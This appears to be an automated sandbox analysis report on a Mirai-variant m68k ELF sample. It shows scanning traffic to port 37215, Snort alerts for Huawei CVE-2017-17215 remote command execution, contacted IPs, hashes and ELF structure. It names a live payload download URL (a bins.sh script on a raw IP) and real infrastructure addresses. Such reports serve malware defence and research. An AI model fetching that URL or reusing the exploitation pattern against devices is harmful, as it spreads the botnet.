Source: unknown	Network traffic detected: HTTP traffic on port 38758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46930 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34686 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48912 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43724 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51252 -> 37215

Source: /tmp/k83uRQtNDx.elf (PID: 5522)

Queries kernel information via 'uname':

Jump to behavior

Source: k83uRQtNDx.elf, 5522.1.000055a0af3a9000.000055a0af42e000.rw-.sdmp, k83uRQtNDx.elf, 5526.1.000055a0af3a9000.000055a0af42e000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/m68k
Source: k83uRQtNDx.elf, 5522.1.00007ffeb56a9000.00007ffeb56ca000.rw-.sdmp, k83uRQtNDx.elf, 5526.1.00007ffeb56a9000.00007ffeb56ca000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-m68k
Source: k83uRQtNDx.elf, 5522.1.00007ffeb56a9000.00007ffeb56ca000.rw-.sdmp, k83uRQtNDx.elf, 5526.1.00007ffeb56a9000.00007ffeb56ca000.rw-.sdmp	Binary or memory string: L9x86_64/usr/bin/qemu-m68k/tmp/k83uRQtNDx.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/k83uRQtNDx.elf
Source: k83uRQtNDx.elf, 5522.1.000055a0af3a9000.000055a0af42e000.rw-.sdmp, k83uRQtNDx.elf, 5526.1.000055a0af3a9000.000055a0af42e000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/m68k

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
k83uRQtNDx.elf	55%	ReversingLabs	Linux.Trojan.Mirai

Source	Detection	Scanner	Label	Link
http://41.216.183.27/bins/bins.sh	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http://41.216.183.27/bins/bins.sh	k83uRQtNDx.elf	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
45.93.168.255	unknown	Iran (ISLAMIC Republic Of)	57497	FARASOSAMANEHPASARGADIR	false
121.91.121.251	unknown	Australia	9723	ISEEK-AS-APiseekCommunicationsPtyLtdAU	false
121.9.180.73	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
122.179.104.219	unknown	India	24560	AIRTELBROADBAND-AS-APBhartiAirtelLtdTelemediaServices	false
41.57.232.57	unknown	Ghana	37103	BUSYINTERNETGH	false
94.181.6.14	unknown	Russian Federation	52207	TULA-ASRU	false
181.154.103.231	unknown	Colombia	26611	COMCELSACO	false
156.161.254.36	unknown	Egypt	36992	ETISALAT-MISREG	false
190.32.244.59	unknown	Panama	11556	CableWirelessPanamaPA	false
222.222.242.58	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
31.191.242.161	unknown	Italy	24608	WINDTRE-ASIT	false
122.36.44.13	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	false
31.77.234.12	unknown	United Kingdom	12576	EELtdGB	false
31.199.207.56	unknown	Italy	3269	ASN-IBSNAZIT	false
121.176.112.238	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
121.59.45.210	unknown	China	4809	CHINATELECOM-CORE-WAN-CN2ChinaTelecomNextGenerationCarr	false
94.52.101.2	unknown	Romania	48161	NG-ASSosBucuresti-Ploiestinr42-44RO	false
156.67.35.99	unknown	United Kingdom	48101	CALLFLOW-ASCallFlowSolutionsLtdGB	false
190.104.70.75	unknown	Argentina	52268	COPELCOLTDACUTRAL-COAR	false
94.65.191.37	unknown	Greece	6799	OTENET-GRAthens-GreeceGR	false
122.81.155.173	unknown	China	45069	CNNIC-CTTSDNET-APchinatietongShandongnetCN	false
102.35.210.152	unknown	Reunion	37002	ReunicableRE	false
31.16.30.11	unknown	Germany	31334	KABELDEUTSCHLAND-ASDE	false
222.187.27.207	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
121.243.246.238	unknown	India	17908	TCISLTataCommunicationsIN	false
190.20.195.153	unknown	Chile	7418	TELEFONICACHILESACL	false
121.164.214.189	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
138.28.232.68	unknown	United States	600	OARNET-ASUS	false
190.233.20.110	unknown	Peru	6147	TelefonicadelPeruSAAPE	false
94.232.145.20	unknown	Poland	39893	NETSYSTEM_TP-ASNPL	false
181.13.216.191	unknown	Argentina	7303	TelecomArgentinaSAAR	false
121.127.1.101	unknown	Philippines	4766	KIXS-AS-KRKoreaTelecomKR	false
94.82.238.101	unknown	Italy	3269	ASN-IBSNAZIT	false
45.191.8.204	unknown	unknown	269698	INTERCLUBFIBRATELECOMMEBR	false
156.124.100.124	unknown	United States	393504	XNSTGCA	false
41.215.11.83	unknown	Kenya	15808	ACCESSKENYA-KEACCESSKENYAGROUPLTDisanISPservingKE	false
181.122.188.205	unknown	Paraguay	23201	TelecelSAPY	false
41.215.11.88	unknown	Kenya	15808	ACCESSKENYA-KEACCESSKENYAGROUPLTDisanISPservingKE	false
45.32.45.199	unknown	United States	20473	AS-CHOOPAUS	false
41.54.12.216	unknown	South Africa	37168	CELL-CZA	false
45.205.88.140	unknown	Seychelles	54600	PEGTECHINCUS	false
138.153.235.46	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
156.164.16.9	unknown	Egypt	36992	ETISALAT-MISREG	false
138.183.189.42	unknown	United States	647	DNIC-ASBLK-00616-00665US	false
186.223.93.64	unknown	Brazil	28573	CLAROSABR	false
122.145.97.139	unknown	Japan	7522	STCNSTNetIncorporatedJP	false
138.244.130.207	unknown	Germany	12816	MWN-ASDE	false
41.115.200.78	unknown	South Africa	16637	MTNNS-ASZA	false
41.85.136.12	unknown	South Africa	37525	BYTES-CON-1ZA	false
156.100.80.129	unknown	United States	393504	XNSTGCA	false
37.144.25.216	unknown	Russian Federation	8402	CORBINA-ASOJSCVimpelcomRU	false
156.249.231.173	unknown	Seychelles	26484	IKGUL-26484US	false
122.4.123.197	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
190.112.213.122	unknown	Paraguay	263228	PLANETSAPY	false
122.36.44.38	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	false
156.34.23.145	unknown	Canada	855	CANET-ASN-4CA	false
41.60.62.67	unknown	Mauritius	30969	ZOL-ASGB	false
138.206.54.181	unknown	Switzerland	61516	VICUNATVSAAR	false
122.134.3.185	unknown	Japan	2518	BIGLOBEBIGLOBEIncJP	false
186.131.140.181	unknown	Argentina	22927	TelefonicadeArgentinaAR	false
102.122.178.175	unknown	Sudan	36972	MTNSD	false
102.118.234.36	unknown	Mauritius	23889	MauritiusTelecomMU	false
122.112.103.40	unknown	China	56082	ONE-NET-HKINTERNET-SOLUTION-HK	false
122.194.20.219	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
102.82.183.148	unknown	Uganda	37075	ZAINUGASUG	false
190.0.115.132	unknown	Argentina	28038	SANLUISCTVSAAR	false
31.130.227.179	unknown	Switzerland	56554	IETF-MEETINGIETFMeetingNetworkCH	false
102.241.83.36	unknown	Tunisia	36926	CKL1-ASNKE	false
156.143.170.151	unknown	United States	14319	FURMAN-2US	false
121.42.48.12	unknown	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
190.47.23.92	unknown	Chile	22047	VTRBANDAANCHASACL	false
222.44.27.180	unknown	China	45057	CNNIC-TIETONG-APCHINATIETONGSHANGHAICN	false
156.17.237.217	unknown	Poland	8970	WASKWROCMAN-EDUeducationalpartofWASKnetworkWroclaw	false
121.244.236.111	unknown	India	4755	TATACOMM-ASTATACommunicationsformerlyVSNLisLeadingISP	false
186.56.181.254	unknown	Argentina	22927	TelefonicadeArgentinaAR	false
121.201.205.81	unknown	China	17623	CNCGROUP-SZChinaUnicomShenzennetworkCN	false
102.163.97.253	unknown	Mauritius	30999	EMTEL-AS-APMU	false
94.85.243.19	unknown	Italy	3269	ASN-IBSNAZIT	false
156.100.80.119	unknown	United States	393504	XNSTGCA	false
94.241.38.19	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
186.113.131.234	unknown	Colombia	3816	COLOMBIATELECOMUNICACIONESSAESPCO	false
121.78.70.229	unknown	Korea Republic of	9286	KINXIDC-AS-KRKINXKR	false
190.154.117.119	unknown	Ecuador	14522	SatnetEC	false
138.99.154.43	unknown	Brazil	264205	ENInformaticaProvedordeInternetLTDA-MEBR	false
121.42.48.40	unknown	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
197.50.174.108	unknown	Egypt	8452	TE-ASTE-ASEG	false
121.194.15.216	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
138.204.59.31	unknown	Brazil	263882	ALDEIRTRIGUEIRODACOSTA-MEBR	false
190.233.20.142	unknown	Peru	6147	TelefonicadelPeruSAAPE	false
156.158.51.151	unknown	Tanzania United Republic of	37133	airtel-tz-asTZ	false
45.18.128.146	unknown	United States	7018	ATT-INTERNET4US	false
45.255.12.73	unknown	China	132116	ANINETWORK-INAniNetworkPvtLtdIN	false
190.32.219.58	unknown	Panama	11556	CableWirelessPanamaPA	false
122.134.217.46	unknown	Japan	2518	BIGLOBEBIGLOBEIncJP	false
37.111.12.180	unknown	Myanmar	133385	TELENORMYANMAR-ASTelenorMyanmarMM	false
94.124.61.241	unknown	Netherlands	201372	MEZZAMI-ASNL	false
102.243.192.10	unknown	Tunisia	36926	CKL1-ASNKE	false
138.248.201.108	unknown	United Kingdom	8426	CLARANET-ASClaraNETLTDGB	false
197.86.54.161	unknown	South Africa	10474	OPTINETZA	false
94.178.146.29	unknown	Ukraine	6849	UKRTELNETUA	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
45.93.168.255	4wdptue34h	Get hash	malicious	Unknown	Browse
	IaulfEncAS	Get hash	malicious	Mirai	Browse
	pE46WYYINu	Get hash	malicious	Mirai	Browse
	PZiTRj9FTs	Get hash	malicious	Mirai	Browse
31.191.242.161	QISOVbNi9M.elf	Get hash	malicious	Mirai	Browse
	MF15AGBtZV	Get hash	malicious	Mirai	Browse
	4R66Cv0FvN	Get hash	malicious	Mirai	Browse
	Phth1g5WrS	Get hash	malicious	Mirai	Browse
122.36.44.13	Y7or5MdEHm	Get hash	malicious	Mirai	Browse
31.77.234.12	tVkhFxER8d	Get hash	malicious	Mirai	Browse
121.59.45.210	yakuza.arm7	Get hash	malicious	Mirai	Browse
41.57.232.57	BWZO7XE4UX.elf	Get hash	malicious	Mirai, Moobot	Browse
	bok.arm5-20230315-2115.elf	Get hash	malicious	Mirai	Browse
	SecuriteInfo.com.Linux.Siggen.9999.1882.22079.elf	Get hash	malicious	Mirai	Browse
	miori.x86	Get hash	malicious	Mirai	Browse
	x86	Get hash	malicious	Mirai	Browse
	apep.arm	Get hash	malicious	Unknown	Browse
94.181.6.14	arm7	Get hash	malicious	Mirai	Browse
94.181.6.14	popsmoke.mpsl	Get hash	malicious	Unknown	Browse
181.154.103.231	qF7g4nnHh0	Get hash	malicious	Mirai	Browse
181.154.103.231	e8cZ78k4xT	Get hash	malicious	Mirai	Browse
156.161.254.36	ak.arm5-20220925-2331.elf	Get hash	malicious	Mirai	Browse
156.161.254.36	apep.arm	Get hash	malicious	Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AIRTELBROADBAND-AS-APBhartiAirtelLtdTelemediaServices	8l3OprbuHf.elf	Get hash	malicious	Unknown	Browse	122.161.56.4
	Z4s9xPQyPM.elf	Get hash	malicious	Unknown	Browse	122.170.224.109
	4eBW5heMG4.elf	Get hash	malicious	Mirai	Browse	122.167.206.175
	flB6ygLzMc.elf	Get hash	malicious	Mirai	Browse	223.226.13.218
	btYFZoPFge.elf	Get hash	malicious	Mirai	Browse	106.212.236.9
	4gMPx4n6iT.elf	Get hash	malicious	Mirai	Browse	182.70.228.124
	mips (3).elf	Get hash	malicious	Mirai, Moobot	Browse	122.172.227.222
	XeWgeH74wX.elf	Get hash	malicious	Mirai	Browse	223.190.6.181
	nullnet_load.arm.elf	Get hash	malicious	Mirai	Browse	122.174.213.239
	huhu.x86.elf	Get hash	malicious	Mirai, Okiru	Browse	122.164.125.171
BUSYINTERNETGH	4eBW5heMG4.elf	Get hash	malicious	Mirai	Browse	41.57.232.63
	PuiAhrIQLV.elf	Get hash	malicious	Unknown	Browse	41.57.232.62
	1OJ8q6Hwde.elf	Get hash	malicious	Mirai, Moobot	Browse	41.57.244.50
	huhu.arm5.elf	Get hash	malicious	Mirai, Okiru	Browse	41.57.232.73
	PWFSinkTUC.elf	Get hash	malicious	Mirai	Browse	41.57.232.92
	mips-20240214-0633.elf	Get hash	malicious	Mirai, Moobot	Browse	41.57.232.83
	YGPDW8cL6B.elf	Get hash	malicious	Mirai	Browse	41.57.232.80
	nigga.sh	Get hash	malicious	Mirai	Browse	41.57.232.70
	mpsl-20240205-0055.elf	Get hash	malicious	Mirai, Moobot	Browse	41.57.220.85
	31sqmxY7kh.elf	Get hash	malicious	Unknown	Browse	41.57.232.61
CHINANET-BACKBONENo31Jin-rongStreetCN	eyIK8NdtWo.elf	Get hash	malicious	Unknown	Browse	122.245.112.61
	8l3OprbuHf.elf	Get hash	malicious	Unknown	Browse	121.224.171.46
	Z4s9xPQyPM.elf	Get hash	malicious	Unknown	Browse	122.226.30.59
	4eBW5heMG4.elf	Get hash	malicious	Mirai	Browse	222.168.218.22
	PuiAhrIQLV.elf	Get hash	malicious	Unknown	Browse	222.218.135.150
	XQzNZAeqtW.elf	Get hash	malicious	Mirai	Browse	61.144.144.123
	G1Qu0bquaq.elf	Get hash	malicious	Mirai	Browse	111.78.169.235
	Y43DwTCGE7.elf	Get hash	malicious	Mirai	Browse	182.98.87.215
	zy2YEjOIGi.elf	Get hash	malicious	Mirai	Browse	14.109.143.220
	2ELJo2yPb9.elf	Get hash	malicious	Mirai	Browse	60.174.151.85
FARASOSAMANEHPASARGADIR	Z4s9xPQyPM.elf	Get hash	malicious	Unknown	Browse	45.93.168.237
	9BrsO1bmfY.elf	Get hash	malicious	Mirai	Browse	45.93.168.253
	Hilix.mips.elf	Get hash	malicious	Mirai	Browse	45.93.168.242
	6cKbLUTY08.elf	Get hash	malicious	Mirai	Browse	45.93.168.236
	Y7ACNUbtcQ.elf	Get hash	malicious	Mirai	Browse	45.93.168.242
	i686.elf	Get hash	malicious	Unknown	Browse	45.93.168.247
	UpnTXtqXh4.elf	Get hash	malicious	Unknown	Browse	45.93.168.253
	LWZuXHUk9M.elf	Get hash	malicious	Mirai	Browse	45.93.168.233
	VHZbf5ntAo.elf	Get hash	malicious	Mirai	Browse	45.93.168.240
	rTphk4fl4I.exe	Get hash	malicious	RedLine	Browse	158.58.186.13
ISEEK-AS-APiseekCommunicationsPtyLtdAU	1Fblbn0aTB.elf	Get hash	malicious	Mirai	Browse	202.74.83.137
	https://eijhfcc.r.bh.d.sendibt3.com/tr/cl/bwWuow2irT_LqyyPNHWVmS-TsN1gCLdpBZlQFS34Qx0tfIxTB7RQaOzl978B7_QJhc2fxHzJvOmX3haGU7_maxi58VAfoYptYiLDku40LFjwJbq8U7Flv7zdW2FVmSuA9jvtgGhVw-dUZPYPJG4kwkd-auHrTlNb6tSSK2i-j0HDDfsYczD4v-uv_E19Lmh299PD184a-ydCOI-AHaBhO6THmptUWzDh0F16R1NtlmFKEmSswAI745REkMuhM2qDgh1PPmCtVGdlawJBBMgJ2hwdK7p1BrVp0JdyJjkQkPwzkh1T7mdN0fWaR4WOfOIP2iJjIqKFeJ2hjs9kmCfMKQQtoErBbBNuY1r1u4Hd	Get hash	malicious	HTMLPhisher	Browse	1.179.112.197
	9Dcya2QOaQ.elf	Get hash	malicious	Mirai	Browse	1.178.130.91
	822oN1h72g.elf	Get hash	malicious	Mirai	Browse	121.91.90.210
	UKDbGLoPJy.elf	Get hash	malicious	Mirai	Browse	1.178.232.190
	vQyQaHKU0U.elf	Get hash	malicious	Gafgyt	Browse	119.12.45.189
	https://gahidaj.r.af.d.sendibt2.com/tr/cl/mckMFSiQ3mGmWHH04dZpYMyiod5Fomr70EPz7YkxQTuEZZicLHavdDfAmZ8_SJAvr1BbuN324VChAOMGW3RacqA2NHfJmHN1e1xU5n14z7QH_pKswLz_HBmweqnJzrvY9zkpJvedtV3mbwdZqVPHofrE2g2rctyVSlFzMFZdaRnPhgcn_GYV_zwvA1VcdMiqUHyhoh-o3IavjYfWZQkvRYfH5bvzpq_PHPrnRVG33K50Evd5yUXxk4aHSWJrgD_JRMF6Vue7pXObY1AZWSdZ1glAvU2ohTQZfkwJJ5kgpvHJsxdzF276p9BsM6gCnwNI77biaLQQdEyFwJbzdwQJ1XTOS7TQdGOKqiGX-c_HTRVBY2L8psHX8ITeagn0Ye51_H4Luwgx7nMtoXjQa5mxAMWFNCNlWCXG3tiuYjqZdI4prsdUMX9SPBJj8HqdYkhGqsICsXbRT_y97fAZSrDT7RaTvFi3XoIE03AXJ5ciSKAO5XL1_yRjzHlmabUr-69QAxifC5SZscyJN-0rLbQ81K62t0AtIL7zMJrB1SdBYboHdzaUfcCmSMZKVDt_cbE5Ndjwfffu7KHyUOs1pdr_tg	Get hash	malicious	HTMLPhisher	Browse	1.179.112.197
	opem6lHNzL.elf	Get hash	malicious	Unknown	Browse	119.13.248.11
	Rakitin.arm7.elf	Get hash	malicious	Mirai	Browse	119.13.248.34
	HZHDPhGvrL.elf	Get hash	malicious	Mirai	Browse	121.91.121.244

File type:	ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.281187967584988
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	k83uRQtNDx.elf
File size:	92'912 bytes
MD5:	ead1a568426594b62680f1852e1c420d
SHA1:	06f905eabc9fbe6024d4103170daf837f673d138
SHA256:	06c5d24279cd473fba4f168629aa38e40712c53a0ad9bc9966baf53b6eb6a18c
SHA512:	e37b570b898803b7c2440c922da596c7725f24546e0d5469dcf26832deed7a70d85eb99c7088262ca309e5ab972c11bff0f4d2caff7c71d6f1dbca3791ea48dd
SSDEEP:	1536:7J4yDZvxCM+cbMjflULj+8pI4svFLogDFj/fZ1UlWWo1py6WxnL:7SM+g2yLjhMLTDdM7o1py6WxnL
TLSH:	DE935CDBF800DD7DFC4AD77A44534A09B631A3601A930F36765BBD97BC320981A27E86
File Content Preview:	.ELF.......................D...4..i`.....4. ...(......................eX..eX...... .......e\...\...\......(....... .dt.Q............................NV..a....da...K,N^NuNV..J9... f>"y...t QJ.g.X.#....tN."y...t QJ.f.A.....J.g.Hy..eXN.X........ N^NuNV..N^NuN

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	MC68000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x80000144
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	92512
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x80000094	0x94	0x14	0x0	0x6	AX	2
.text	PROGBITS	0x800000a8	0xa8	0x14b56	0x0	0x6	AX	4
.fini	PROGBITS	0x80014bfe	0x14bfe	0xe	0x0	0x6	AX	2
.rodata	PROGBITS	0x80014c0c	0x14c0c	0x194c	0x0	0x2	A	2
.ctors	PROGBITS	0x8001855c	0x1655c	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x80018564	0x16564	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x80018570	0x16570	0x3b0	0x0	0x3	WA	4
.bss	NOBITS	0x80018920	0x16920	0x2530	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x16920	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x80000000	0x80000000	0x16558	0x16558	6.3105	0x5	R E	0x2000	.init .text .fini .rodata
LOAD	0x1655c	0x8001855c	0x8001855c	0x3c4	0x28f4	2.7931	0x6	RW	0x2000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
02/19/24-18:36:46.830139	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47518	37215	192.168.2.15	94.187.114.238
02/19/24-18:38:20.952751	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42906	37215	192.168.2.15	94.123.253.82
02/19/24-18:36:44.376551	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58762	37215	192.168.2.15	31.136.111.166
02/19/24-18:38:17.235187	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59030	37215	192.168.2.15	31.136.116.17
02/19/24-18:37:48.304256	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49828	37215	192.168.2.15	94.120.56.46
02/19/24-18:38:06.098529	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49018	37215	192.168.2.15	31.136.73.181
02/19/24-18:37:27.870684	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53392	37215	192.168.2.15	94.123.43.249
02/19/24-18:38:08.999237	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58538	37215	192.168.2.15	94.122.3.84
02/19/24-18:36:22.312633	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59224	37215	192.168.2.15	94.123.111.123
02/19/24-18:37:31.345171	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48042	37215	192.168.2.15	45.195.113.27
02/19/24-18:36:49.859221	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47242	37215	192.168.2.15	156.247.20.236
02/19/24-18:37:04.406041	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33600	37215	192.168.2.15	37.72.210.119
02/19/24-18:38:08.988601	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53770	37215	192.168.2.15	94.121.124.143
02/19/24-18:37:15.415728	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43814	37215	192.168.2.15	31.200.110.241
02/19/24-18:36:22.312726	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57108	37215	192.168.2.15	94.120.227.12
02/19/24-18:37:40.432370	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52862	37215	192.168.2.15	45.207.128.44
02/19/24-18:36:23.331425	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46914	37215	192.168.2.15	94.121.115.61
02/19/24-18:37:27.880770	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44344	37215	192.168.2.15	94.123.182.50
02/19/24-18:36:46.831198	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45044	37215	192.168.2.15	94.123.247.114
02/19/24-18:38:03.200778	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43912	37215	192.168.2.15	37.72.244.181
02/19/24-18:38:01.393435	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52944	37215	192.168.2.15	94.121.36.232
02/19/24-18:36:23.331928	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51308	37215	192.168.2.15	94.120.241.149
02/19/24-18:36:44.153428	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59480	37215	192.168.2.15	31.136.217.44
02/19/24-18:38:06.099278	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45664	37215	192.168.2.15	31.136.72.37
02/19/24-18:36:28.361258	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46076	37215	192.168.2.15	94.121.28.116
02/19/24-18:36:28.362059	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46474	37215	192.168.2.15	94.123.26.209
02/19/24-18:38:17.312817	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35330	37215	192.168.2.15	31.200.79.4
02/19/24-18:38:17.235591	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46582	37215	192.168.2.15	31.136.95.210
02/19/24-18:37:48.304070	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41018	37215	192.168.2.15	94.120.46.88
02/19/24-18:36:44.375797	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39026	37215	192.168.2.15	31.136.14.78
02/19/24-18:37:01.752603	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36598	37215	192.168.2.15	37.16.30.220
02/19/24-18:37:48.130634	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44800	37215	192.168.2.15	45.207.134.167
02/19/24-18:38:06.099156	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37298	37215	192.168.2.15	31.136.56.5
02/19/24-18:37:15.415918	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57656	37215	192.168.2.15	31.200.120.235
02/19/24-18:38:01.392563	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55612	37215	192.168.2.15	94.120.238.159
02/19/24-18:38:20.957167	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36334	37215	192.168.2.15	94.123.50.160
02/19/24-18:37:47.986684	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34686	37215	192.168.2.15	45.250.172.127
